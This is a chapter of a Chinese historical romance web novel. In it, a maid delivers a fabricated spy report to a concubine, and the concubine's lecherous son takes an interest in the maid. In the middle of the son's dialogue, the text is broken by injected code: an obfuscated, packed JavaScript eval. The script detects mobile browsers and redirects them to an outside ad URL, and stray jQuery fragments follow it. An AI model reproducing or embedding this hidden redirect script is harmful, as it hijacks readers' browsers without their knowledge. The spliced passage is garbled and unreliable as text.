21. 变数

    经上次陆执和左行主仆配合着一诈云若,陆执教她读书认字的事也被左行知道了,他才恍然大悟,怎么她老往世子书房钻,明明那个时候正是偷闲的绝佳时机。


    现在偶尔云若觉得在书房看书闷,陆执也会准她到外面找个没人的地方,换个环境看。


    晌午,整个府上这个时段是仅次于夜间的宁静,陆执在小憩,云若、右安、左行三人在树下纳凉。


    云若还捧着本书在看,偶尔遇到陌生的字,就请教右安。


    左行看着两人说着他听不懂的东西,有点吃味:“怎么世子只教你不教我?”


    闻言,云若一愣不知道该怎么回答,一旁的右安倒是笑出了声。


    “这你怪得了谁,之前世子读书的时候,让我俩偷着学名师课,是谁闹着说自己学不来这玩意儿,世子才没管你的?现在你倒开始怪起世子来了”


    云若听着能够想象出那时候的画面,觉得挺有趣,也跟着右安笑。


    左行微窘:“世子那么聪明,他上的课我怎么跟得上嘛。”


    见两人不听他狡辩,左行撇嘴:“再笑!那以后你们都写字交流,孤立我好了。”


    云若右安相视一笑,一齐点头:“好主意。”


    左行瞬间崩溃:“你们居然还真敢这么想!你们要是敢这么做,我就和你们绝交!”


    这么大个人,还把绝交挂在嘴边,这左行俨然还是个孩子心性,但是干起正事来的时候还是靠谱的。


    轻松的时光总是一晃而过,看着时间差不多了,世子也已经休息好回了书房,云若也跟了上去。


    一进去,陆执就让她把她这一个多月的写的综合起居录给他检查。


    她昨晚已经把这一个月陆执的日常汇总了起来,只用一张纸就写完了,因为世子的日常属实有点单调。


    “遣词造句不错,通篇读下来很顺畅,事情也说清楚了。”陆执有模有样地评价,云若乖乖聆听赐教。


    “不过你要是把这些说给杜姨娘听,她恐怕会觉得你在玩弄她。”


    云若也这样认为,即使她已经对此进行了润色。


    她问:“那奴婢该怎么写?”


    陆执回她:“她想让你来窥探,无非是觉得我不像表面那样,必然藏着什么秘密,你何不把我往纨绔公子哥去写,让她觉得:果然,我就知道这小子在人前的模样都是装出来的。你写得越不切实际,她说不定越相信,因为她自己坚信如此,你的证词反而是锦上添花。”


    云若有了思绪,心里默默对徐舒柏说了句对不住,然后想着他的行径进行了编排,把世子说得人前人后,吊儿郎当,不务正业。


    再给世子看的时候,世子满意地点头。


    “到时候就照着这个说,杜姨娘铁定欢喜。”


    呼啦啦编了一串,云若还有点害怕太毁世子形象了,心里有点忐忑,没想到世子如此肯定,她舒了口气。


    她又问世子:“奴婢该什么时候去汇报?”


    陆执回:“你自个儿看着办,最好挑我不在的时候、或是找个彰显你不易的理由,这最表现得出你的能力。”


    云若受教了,世子居然还如此懂得这些为奴之道,真是令人钦佩。


    翌日,云若挑着日头正好的时候,避着人偷偷溜出承熙院,一路上跟做贼似的一步三回头摸到了凝香院。


    她亮出玉佩给门口的婆子一看,不一会儿就被领到了里间去。


    “奴婢见过杜姨娘。”


    “你怎么这个时候来了,不在世子身边伺候?”


    “回禀姨娘,世子这会儿偷溜出府去了,奴婢这才敢前来见姨娘,不然奴婢哪敢贸然行动。”


    听到陆执偷溜出府,杜氏来了兴致:“出府?看来此次你来会告诉我很多让人意外的东西。”


    云若浅笑,随即娓娓道来她提前打好腹稿的话术。


    还没听完,杜氏的嘴角就忍不住上扬,满脸都是发现事实和自己想象中一样的喜色。


    “此话当真?”


    杜氏虽然这么问,但看样子没有一点怀疑的样子。


    云若肯定点头:“千真万确,不敢欺瞒姨娘。”


    得到肯定,杜氏心中大喜,高兴得赏了云若银钱,云若装着这都是奴婢应该做的不好意思收下了。


    “干得不错,我果然没看错你。以后有什么消息,随时来找我,替我办事,少不了你好的。”


    云若应是。


    赵嬷嬷进了屋来禀报:“姨娘,二公子来了。”


    杜姨娘有些意外儿子这时候来自己这儿,她看了看云若,事已经回禀完了,她也交代了,暂时没她什么事,就遣她回去了。


    云若福了福身,转身往外走,才走到门口,听得杜姨娘让赵嬷嬷请二公子进来。


    云若在院子里看到了一个一身白色锦袍的男子,他正闲散地拨弄花草。


    这男子模样也是不差的,只是比起世子来还是要逊色不少。见他眉眼之间与世子有几分相似,脸型和唇角和杜姨娘像是一个模子里刻出来的,这人应该就是二公子了。


    她要出去,得经过二公子身边,所以还有几步远时,她福神行了个礼。


    “见过二公子。”


    陆平听这声,脑子里瞬间想歪,若是能在他榻上听到这声,不知道该有多销魂。


    顿时他对这人起了兴致。


    “你是哪个院的丫头,我怎么从来没见过你?抬起头来说话。”


    云若本以为行个礼就过去了,怎么这二公子还盘起她来了。


    毕竟是主子,她不敢不从,只能垂眸抬颌,避着二公子视线。


    姝色一露,陆平倏地眼冒精光。


    好漂亮的一张脸蛋,比起那些青楼的花魁也是不输几分的。瞧这身段,该有的地方都有,真是难得一见的货色,虽不似寻常佳丽那般娇软清瘦,淡淡的肉感看上去别有一番韵味。


    他还没尝过这款的。


    他在府里这么久,怎么没见过她这号人物?要是早见到了,现在这丫鬟怕已经是他的盘中餐了。


    云若思付,世子与二公子的关系应该一般,说出自己是世子院里的人,二公子应该就会厌烦,打发了她。


    “回二公子,奴婢是承熙院的。”


    承熙院?


    陆平兴致更盛,他上下打量起云若来。


    他陆执不是一心只读圣贤书,院子里全是小厮,什么时候养起丫鬟来了。


    云若感到有意味不明的目光正在自己周身游荡,她被看得有些不舒服。


    陆平露出玩味的笑:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162860|163712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你叫什么名字?”


    “奴婢云若。”


    陆平还要再问,赵嬷嬷适时出现:“二公子,姨娘在里边等着您呢,快进去吧。”


    看人被自己盯得有些不自在了,陆平笑着收回视线,迈步进了杜姨娘屋子。


    云若如蒙大赦,不敢多做停留,云若三步并两步回了承熙院。


    凝香院这边,陆平进了屋子,礼也不行,径直坐到杜氏旁边。


    见儿子来了,杜氏心中欢喜,把下人端上来的茶水点心都摆到他面前。


    “平儿这会儿怎么来了?”


    “儿子随父亲在军营这么久,都没能来看看娘,今儿父亲放我休息一天,想着娘肯定念我了,我这不马不停蹄来看看娘。”


    “你啊!”陆平一贯是个嘴甜会说话的,杜氏知道它''还是在哄自己,但她也乐得受。


    “你这阵子跟着你父亲在军营历练辛苦了,我瞧着都瘦了,下次你要回来,提前派人知会我一声,我给你做一桌子好吃的补补。”


    叙了会儿旧,杜氏让人去备膳。


    陆平想到刚刚那个叫云若的丫头,一个承熙院的人居然在他娘这儿,他有些好奇,遂问道:“娘,刚才那个承熙院的丫头怎么来您院子里了?”


    “她是从我院子里出去的,一心记着我的恩情,总想着要报答我,这才三天两头往我这儿跑。”


    “这样啊。”陆平又问:“娘,您说我要是跟大哥讨她到我院子里来当个通房,大哥允是不允?”


    杜氏心下一骇,看陆平一脸玩味,也不知几分真假,心道还真是红颜祸水。


    “平儿,那种丫鬟多的是,你若真喜欢那样的,娘给你找就是了,十个八个都不是问题。他承熙院的东西能有什么好的?”


    杜氏见陆平没什么反应,随即语重心长道:“平儿,这后宅之事你就莫要过问了,你安安心心跟着你父亲磨练,到时候谋个好差事,挣个好前程。娘还盼着你,最好啊,能继承你父亲的爵位。”


    陆平轻笑:“娘,瞧您这话,谋个好差事好说,但这向来都是立嫡立长,袭爵这一事怎么都轮不到我这个庶出二公子。我啊,应该老老实实待着不惹事,等大哥成了家主,盼着他能念在多年兄弟情,愿意养着我才是。”


    “平儿!”


    杜氏最恨这些嫡庶有别之言,见陆平说出如此混话戳她心窝子,她有些生气。


    陆平见状啧了一声:“好了,娘您待会儿自己用膳吧,儿子还有事,下次再来看你。”


    说罢,也不管杜氏还有没有话要说,自顾自走了。


    杜氏被气得够呛,臭小子,小半年不回来一次,回来就知道气她。


    赵嬷嬷奉上新沏的茶,杜氏喝了缓气。


    想到刚刚陆平说起云若的样子,杜氏有些担心,她自己的儿子,她还是了解的,无论是不是真心喜欢,他那个样子,显然是起了兴致。


    害怕陆平会起什么歪心思,到时候为了一个贱婢毁了自己的前程可不值当。


    她吩咐赵嬷嬷:“以后仔细着那个丫头,若是平儿在府里,就不要让那个丫头来院子里,省得她搔首弄姿引诱平儿做出不理智的事来。”


    “老奴明白。”


    杜氏心中隐隐不安,希望这丫头别惹出什么变数来。